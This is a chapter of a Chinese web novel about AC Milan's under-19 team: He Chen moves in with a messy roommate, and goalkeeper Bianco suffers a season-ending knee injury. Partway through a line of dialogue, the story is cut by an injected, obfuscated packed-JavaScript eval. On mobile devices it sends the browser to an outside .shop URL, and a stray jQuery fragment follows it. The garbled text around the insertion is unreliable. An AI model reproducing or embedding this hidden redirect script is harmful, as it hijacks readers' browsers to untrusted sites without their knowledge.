14-15赛季，联赛进行到第9轮，米兰以四胜四平一负的成绩，积16分，排在积分榜第4位。
而在青年联赛，米兰U19以七场比赛全胜的战绩领跑积分榜。
门将多纳鲁马连续零封对手，祖卡拉、普契尼各有6粒进球，而踢前腰的贺辰彻底释放进攻属性，5球11助，大放异彩。
然而，新主教练布罗基注意到，这几天贺辰都无精打采，一副睡眠不足的样子。
贺辰日常状态不好，可能导致他比赛状态不好，进而使球队进攻不畅、防守漏风，最终输掉比赛。
布罗基似乎能看到教练证拍打着翅膀飞走的场景，不禁大惊失色。
17号球员是维斯马拉最宝贵的财产，万一在自己手上出了什么三长两短，罗森内里非宰了他不可——菲利波·因扎吉领头。
他把贺辰叫到办公室，准备促膝长谈。
“您问我最近状态不好是有什么事？”贺辰挠挠后脑勺，小声嘟囔，“这么明显么？”
布罗基呼吸一滞，说：“你遇到什么麻烦了？！不要怕，说出来，我们都可以帮你解决。”
“呃，米兰有这么大能耐？”
“对方居然是大人物？！没、没事，哪怕是米兰市政府我们也给你撑腰！”布罗基狠狠一拍桌子，虽然有点怵头，还是强装出一副可靠的样子。
不料贺辰点点头，说：“确实是米兰市政府，还有ATM公司。”
布罗基愣住了。
而贺辰继续慢吞吞地说：“从我家到维斯马拉的公交路线停运了，这几天，我得早起，绕远路，换乘好几站公交才能到。”
理论上可以让苏女士接送，但他开不了口。贺辰、苏嘉平都是锯嘴葫芦，有时候，就需要苏醒春这种钳子和稀泥。
“你可以住宿舍。”布罗基提议。
住宿舍，不失为一种好办法。
当天晚上，他把这个决定告诉苏嘉平。
苏嘉平哑然无声。
看她的反应，贺辰知道自己做错了事，小声说还是不住宿舍了，换车又用不了多少时间。
“不，贺辰，我不是在怪你。”苏嘉平连忙打断少年。接着，她平复了一下情绪，用平静的语气说：“我应该照顾好你的，可事实是，我忙于工作，忽略了你——我是一个失败的家长。”
“不不不，您别这么说，和那些虐待孩子的家伙比，您是一位非常好的家长。”
……天呐，我到底在说什么？
贺辰恨不得掐死上一秒的自己。
苏嘉平反倒笑了。
她好想越过餐桌揉一揉贺辰的头发，可贺辰对她还是有些疏离，她不得不控制住自己的手。
“等我把这段时间忙完，我发誓，我一定好好照顾你，好不好？”
贺辰呆呆地看着苏嘉平，半晌，抿着嘴点了点头。
苏嘉平笑了笑，接着说：“这段时间，如果你真的想好要住宿舍了，那就住吧。记得照顾好自己，和队友好好相处。”
于是，几天后，贺辰拖着行李箱站在宿舍楼下。
几分钟后，祖卡拉冲出来，敲盆打碗，热烈欢迎他未来一段时间的室友。虽然周围都是熟悉的队友，贺辰还是觉得脸颊发热，恨不得找个地缝钻进去。
“别这样，祖卡拉，我就住一个月，你冷静一点。”
“贺，你是不知道我有多羡慕他们那些有室友的人，我连打牌、打游戏都得求爷爷告奶奶。”祖卡拉说的声情并茂，声泪俱下，好像他是什么备受摧残的小白菜。
贺辰对这种过分热情的人真的没辙。
祖卡拉一路胡闹到目的地，终于严肃了一把，咳嗽两声，又整理了一下不存在的领结和燕尾服，推开“宫殿”的大门。
贺辰沉默片刻，说：“好的，我已经知道咱们的垃圾都集中扔在哪里了，能带我去你的宿舍了么？”
这次换祖卡拉沉默了。过了一会儿，他一字一顿道：“这里就是我的宿舍。”
“你住在垃圾堆里？！”
“你真没礼貌！！”
“对不起，”贺辰冷静下来，但言辞依旧犀利，“可我说的是事实。”
打开门，首先看到的是衣服，准确来说是衣服堆成的小山。被子被揉成一团，极霸道地霸占了床的中心地带。
桌子上摊着一本课本，油性笔指向不同方向，共同点是都没有笔帽。各种零食乱放，还站着一个啃了几口的苹果，也不知道垫张纸。耳机线从桌沿垂下来，蛇一样缠绕在椅子腿上，这是给自己布置暗杀机关？
在贺辰面无表情的凝视下，祖卡拉最开始还能梗着脖子跟他对视，后来就心虚地缩成鹌鹑，支支吾吾问贺辰还住不住。
而贺辰嘴毒起来也是真不留情面。
“住在垃圾堆里么？那我宁愿早起赶公交。”
这时，隔壁房间的门被推开，克里斯蒂安·马尔蒂尼和普契尼探出头来，两个脑袋叠在一起，颇具喜感。
“贺，其实你可以选择其他交通方式，比如骑自行车？”
“我不会骑。”
贺辰回答得太坦然了，另外三个人愣了愣神。
祖卡拉率先嘲笑道：“你居然不会骑自行车？哈哈哈……你不是无所不能吗？”
“这有什么好笑的？”贺辰耸耸肩，神色如常，“而且，我什么时候说过自己无所不能了？”
克里斯蒂安说：“你是没说过，但你表现出来的那些已经足够了，比如充满想象力的传球。”
普契尼接着室友的话举例：“还有你从不为功课发愁，还会唱歌，还会画画。”
“是这样么？那还真是……你们不要对天才有刻板印象啊。”
祖卡拉嗤笑一声，贺辰斜睨了他一眼，问他怎么还不去收拾屋子。
“我为什么要收拾屋子？”
“因为我不想住在垃圾堆里。”
“你、你！你既然嫌弃我那就去找别人吧！”祖卡拉红着脸大声说。
走廊里的气氛顿时变得剑拔弩张起来。
克里斯蒂安咽咽唾沫，扒门框的手使了几分劲，提心吊胆，生怕这两个人吵架内讧继而大打出手，然后自己的队长袖标拍打着翅膀飞走了。
孰料贺辰示弱了。
他说：“可是，祖卡拉，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17879889|208974||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
上赛季同舟共济的人里，只剩下我们两个了。”
祖卡拉恨不得把宿舍楼翻新一遍。
卡拉布里亚原本在看热闹，听到这句话赶紧从房间探出头来，眼巴巴看着贺辰，意思是我呢？你们把我忘了？
贺辰冲他眨眨眼睛，当作安抚。
昨天，AC米兰U19以3:1的比分战胜切塞纳U19，布罗基奖励给年轻人们一天假期。
等祖卡拉收拾完，贺辰也整理好自己的东西，两个人吃完午饭，决定去利沃诺支持比安科。
米兰的租借条款里规定了比安科的最低上场时间，而比安科也有实力，迅速获得首发位置。
下半场第七十二分钟，对方开出角球，足球飞向禁区中路。
比安科的视线死死钉在球上。
对方9号接球后瞄准近角，踢出一脚低平球，贴着草皮朝近门柱窜去。
比安科蹬地，身体朝那一侧扑出去——他碰到球了！
可在他落地的瞬间，脚似乎被什么绊了一下，膝盖里传出一声闷响，紧接着，他重重摔在草坪上，左腿的小腿和膝盖以一种不合常理的角度扭曲着，像被人拧过的毛巾。
他没有立刻喊叫。
他先看了一眼自己的腿，几次呼吸之后，才感觉到疼痛。
疼，疼极了，像潮水一样从膝盖内侧涌上来，顺着神经爬遍整条腿。
他张开嘴，想喊，却只能发出一声短促的极其压抑的喘息。
而看台上的人只看到利沃诺的门将突然摔倒，过了很久都没有爬起来。
贺辰愣住了。
祖卡拉嗖地站起来，手拢在嘴边，大声喊：“多纳托！！多纳托·比安科！！”
他希望比安科能站起来，能跑能跳，继续扑救，可奇迹没有降临。
队医进场，给比安科做检查，然后，工作人员抬着担架跑进来。
祖卡拉忽然觉得呼吸困难，好像有人掐住了自己的脖子，越来越用力，越来越使劲，快要窒息了。
他不得不深吸一口气，免因缺氧而死。
再看贺辰依旧一副失魂落魄的样子，胸膛起伏，似乎有什么即将喷涌而出。
为什么会发生这种事情？
这是贺辰、祖卡拉的想法，也是比安科及其家人的心声。
左腿内侧半月板桶柄状撕裂，需要做缝合手术，康复期半年。
这意味着赛季报销，对比安科这样的年轻门将来说，还意味着职业生涯受到影响。
所以，他告诉父母自己谁也不见。
所以，贺辰和祖卡拉来医院看望他，却被拒之门外。
比安科的母亲红着眼眶说：“为什么我的多恩要经历这些……请你们不要出现在多恩面前了，好不好？拜托你们了……”
两个人吃了闭门羹，祖卡拉骑车带贺辰回维斯马拉，刚出医院大门，就出了车祸。
贺辰只受了轻伤，膝盖擦破了皮，祖卡拉却把锁骨摔裂了，接下来的几场比赛都无法上场。
布罗基天塌了。
克里斯蒂安的天也是。他第一次知道，队长的职责还包括安抚教练的情绪。